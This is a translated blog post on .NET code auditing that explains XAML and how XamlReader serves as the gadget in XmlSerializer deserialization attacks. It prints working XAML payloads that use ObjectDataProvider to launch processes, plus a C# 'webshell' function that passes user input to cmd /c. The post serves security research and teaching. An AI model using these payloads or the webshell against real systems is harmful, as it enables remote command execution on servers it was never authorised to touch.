.NET Advanced Code Audit - Deserialization Gadget: Detailed Explanation of XAML

.NET Advanced Code Audit - Deserialization Gadget: Detailed Explanation of XAML

.NET Deserialization Vulnerability XmlSerializer Core Gadget: XamlReader

Last updated 5/29/2022 9:38 AM
Ivan1ee dotNet安全矩阵
11 min read
Category
.NET
Tags
.NET C# XAML

0x01 Background

The core gadget for the .NET deserialization vulnerability XmlSerializer is XamlReader, which is encapsulated in PresentationFramework.dll, one of the core WPF assemblies. It resides under the System.Windows.Markup namespace and provides two public classes: XamlReader and XamlWriter. The underlying Load method of the XamlReader class can parse XAML character stream data to create .NET object instances. Additionally, the higher-level wrapper method XamlReader.Parse is provided for directly parsing XAML strings. The XmlSerializer deserialization chain leverages this method to achieve command execution. Since we cannot bypass XAML, let's follow the author to get a preliminary understanding of XAML and learn the basic相关知识.

0x02 Getting Started with XAML

WPF is used to replace Windows Forms for creating Windows client applications. Like web projects, it follows the principle of separating frontend layout from backend code. In web projects, the frontend is typically HTML, whereas XAML is used for frontend UI development in WPF projects. XAML stands for Extensible Application Markup Language, a markup language based on common XML syntax used to instantiate .NET objects. Each element in an XAML document maps to an instance of a .NET class. For example, the root element <Window> indicates that WPF creates a Window object. Other root elements include <Application>, <Page>, and <UserControl>. In fact, XAML is compiled into C# classes at compile time, so the corresponding .cs file for the UI must declare the partial keyword, ensuring that the UI and runtime logic code are combined during compilation. The following is a basic XAML code example:

<Window x:Class="WpfApplication1.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:sys="clr-namespace:System;assembly=mscorlib"
        Title="MainWindow" Height="300" Width="300">
    <ListBox>
        <ListBoxItem>
            <sys:String>Welcome to dotNet Security Matrix</sys:String>
        </ListBoxItem>
    </ListBox>
</Window>

The above includes a Window element and a ListBox element. The Window element represents the entire window, and ListBox can hold all controls. The overall structure is a form object containing a ListBox object. x:Class represents the namespace and class name of the backend, which helps keep the frontend XAML in WPF separate from the backend implementation code. xmlns stands for XML namespace; an optional mapping prefix x can follow xmlns, separated by a colon. Additionally, two xmlns namespaces are declared, as shown in the table below:

What do the URLs in the above table mean? These are hard conventions for the XAML parser. http://schemas.microsoft.com/winfx/2006/xaml/presentation indicates importing the core WPF assembly PresentationFramework, such as the common System.Windows.Data namespace. http://schemas.microsoft.com/winfx/2006/xaml indicates importing another core assembly System.Xaml, such as the commonly used Windows.Markup. After decompilation, we can see as shown in the image:

Additionally, xmlns:sys="clr-namespace:System;assembly=mscorlib" maps the sys prefix to the .NET base class library System.String namespace. Later, <sys:String> is used to obtain the string type. Similarly, to import base classes supported by other .NET assemblies, refer to the following syntax: xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName", for example, the assembly containing the Diagnostics.Process class commonly used in deserialization attack payloads: xmlns:c="clr-namespace:System.Diagnostics;assembly=system"

0x03 X: Directives

The project name ObjectDataProvider created by the author may be misleading. Here, it has no relation to the ObjectDataProvider class used in deserialization. The table below shows the meanings of common x: space directives:

x:Class has already been discussed and won't be repeated. x:Key indicates the key name for retrieving the required element from a resource file. x:Type represents the CLR data type, which in XAML can be considered as referencing a class under a certain namespace. x:Static references static fields defined in the backend class. x:Code allows executing C# code in XAML to pop up a calculator, for example, specifying the method name triggered by the Loaded event of the form: Window_Loaded

<x:Code>
        <![CDATA[
        private void Window_Loaded(object sender, RoutedEventArgs e)
        {
            System.Diagnostics.Process.Start("calc");
        }
        ]]>
</x:Code>

Using the figure below, the author has visualized many concepts to help readers gain a more intuitive understanding. In the figure, x:Type is simply understood as needing to be used when you want to use a certain data type in XAML, such as calling the Process class from a custom namespace xmlns:process. Additionally, xmlns:local="clr-namespace:ObjectDataProvider" maps the local project namespace ObjectDataProvider to the prefix xmlns:local

In the above figure, x:Type is simply understood as needing to be used when you want to use a certain data type in XAML, such as calling the Process class from a custom namespace xmlns:process. Additionally, xmlns:local="clr-namespace:ObjectDataProvider" maps the local project namespace ObjectDataProvider to the prefix xmlns:local

0x04 Simplified Payload

In Lesson 12, we already introduced in detail the ResourceDictionary, which stores resources in key-value pairs and can store any type of object. The default window designer creates Window.Resources tags. The author added two resource items: one of type String and one of type Double, and finally read the resources statically and bound them to a TextBlock control.

When there are too many resources that need centralized storage, ResourceDictionary is used. You can save each resource in separate files and merge them using ResourceDictionary.MergeDictionaries:

<ResourceDictionary>
    <ResourceDictionary.MergedDictionaries>
        <ResourceDictionary Source="Dic1.xaml"/>
        <ResourceDictionary Source="Dic2.xaml"/>
    </ResourceDictionary.MergedDictionaries>
 </ResourceDictionary>

If Window.Resources is not found in the top-level container, the program will continue to search Application.Resources for resources. Therefore, if we introduce malicious code into Application.Resources, it can also be called and executed. Looking at the XAML payload given by XmlSerialize deserialization, doesn't it feel easier?

<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>]]>

The clr-namespace:System.Diagnostics assembly is necessary because it relies on the Process class to start a new process. However, it can be further simplified. Since clr-namespace:System is not necessary, the corresponding namespace xmlns:b can be omitted, and MethodParameters no longer needs to use the <b:String> element. Additionally, <ResourceDictionary> can be replaced with <Window.Resources>, <Application.Resources>, or <Grid> controls. The code is as follows:

<Grid xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <Grid.Resources>
        <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
            <ObjectDataProvider.MethodParameters>calc</ObjectDataProvider.MethodParameters>
        </ObjectDataProvider>
    </Grid.Resources>
</Grid>

0x05 Attack Surface

XamlReader.Parse

ysoserial uses XamlReader.Parse in the XmlSerializer deserialization chain to parse XAML strings and return new objects. Going to the definition reveals two method overloads, with the following note from the official documentation:

Reads the XAML input in the specified text string and returns an object that corresponds to the root of the specified markup.

The author created a test case stored in Dictionary2.xaml with the following code. ObjectType="{x:Type TypeName=local:Process }" can omit TypeName, and the resource retrieval key name ResourceKey can also be omitted, as in Source={StaticResource ResourceKey=obj}:

<Window
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        mc:Ignorable="d"
        xmlns:local ="clr-namespace:System.Diagnostics;assembly=System"
        Title="MainWindow" Height="450" Width="800">
    <Window.Resources>
        <ObjectDataProvider x:Key="obj" ObjectType="{x:Type local:Process }" MethodName="Start">
            <ObjectDataProvider.MethodParameters>"winver"</ObjectDataProvider.MethodParameters>
        </ObjectDataProvider>
    </Window.Resources>
    <Grid DataContext="{Binding Source={StaticResource obj}}">
        <Button Content="Button" HorizontalAlignment="Left" Margin="300.085,187.924,0,0" VerticalAlignment="Top" Width="139.599" Height="45.517"/>
    </Grid>
</Window>
string xml = File.ReadAllText("../../Dictionary2.xaml");
XamlReader.Parse(xml);

After running the above code, tracing the call stack reveals that multiple Load methods are called. Notably, the Load method of the WpfXamlLoader class is called. This is an internally implemented class that cannot be used externally; it can only be called via XamlReader.Loader methods.

XamlReader.LoadAsync

The XamlReader class provides three Load overloads and also provides the LoadAsync asynchronous method for transferring large files without affecting the main thread. It can directly load a stream into an object.

//Test:Load
string xml = File.ReadAllText("../../Dictionary2.xaml");
MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader.Load(ms);

//Test:LoadAsync
MemoryStream ms0 = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader xamlReader = new XamlReader();
xamlReader.LoadAsync(ms0);

0x06 WebShell

To enhance the operability of the program, the author switched to an aspx page to implement a risk inspection intelligent assistant. It also includes functions such as host process, host information collection, and host directory file access. Internally, it uses Base64 encoding and decoding for parsing. The advantage of this approach is the handling of special characters in URLs. It starts the Process class to call cmd.exe/c winver.exe to execute commands. The core code and page user interface experience are shown in the following program:

public static void CodeInject(string input)
{
    string ExecCode = EncodeBase64("utf-8", input);
    StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");
    strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");
    strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");
    strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");
    strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">");
    strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");
    strXMAL.Append("<ObjectDataProvider.MethodParameters>");
    strXMAL.Append("<b:String>cmd</b:String>");
    strXMAL.Append("<b:String>/c "+ DecodeBase64("utf-8",ExecCode) +"</b:String>");
    strXMAL.Append("</ObjectDataProvider.MethodParameters>");
    strXMAL.Append("</ObjectDataProvider>");
    strXMAL.Append("</ResourceDictionary>");
    XamlReader.Parse(strXMAL.ToString());
}

0x07 Conclusion

Regarding the multiple command execution methods of the XamlReader class, we hope they will not be maliciously abused in the future. That's all for this article. The PDF and Demo mentioned in the article have been packaged and released on the planet. Welcome to join us for friends who are interested in and care about .NET security. Here, you can meet like-minded companions, and we gather together to do something meaningful.

Keep Exploring

Related Reading

More Articles